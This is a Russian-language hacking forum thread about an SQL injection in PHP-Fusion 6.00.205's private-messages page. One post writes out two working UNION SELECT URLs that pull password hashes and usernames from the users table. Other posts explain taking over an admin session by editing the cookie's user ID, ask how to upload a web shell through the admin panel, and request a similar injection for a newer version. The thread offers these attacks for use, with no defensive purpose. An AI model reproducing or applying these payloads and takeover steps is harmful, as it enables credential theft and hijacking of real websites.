Форумы php-fusion 6.00.205 sql-injection

Прежде всего спасибо ZaCo (xaxa3217) - sql нашел именно он!))) а сайт - я))) . По мере того как линки будут умирать (webfile.ru)) я добавлю новые. Кстати ZaCo гдето запостил сам sql запрос. вот. поэтому не буду повторять. Итак видео щас тут: webfile.ru/657729

 

выложи сплойт

 

смори грин мишка создавал тему непомню как называеться

 

мд5 хэши
/messages.php?folder=inbox&show='%20union%20select%201,1,1,user_password,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1+from+fusion_users/*

имена
/messages.php?folder=inbox&show='%20union%20select%201,1,1,user_name,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1+from+fusion_users/*

надо быть залогиненным

 

Достаточно было взять хешку и подредактировать куки.. даже имя пользователя знать не надо, просто в куках меняеш айди. эт я про видео.

 

А шелл, как в него залить из админки?

 

шелл я не заливал, но попробуй качнуть к примеру из полученной админки

 

Есть подобный скуль для версии PHP-Fusion 6.01.3.01 ?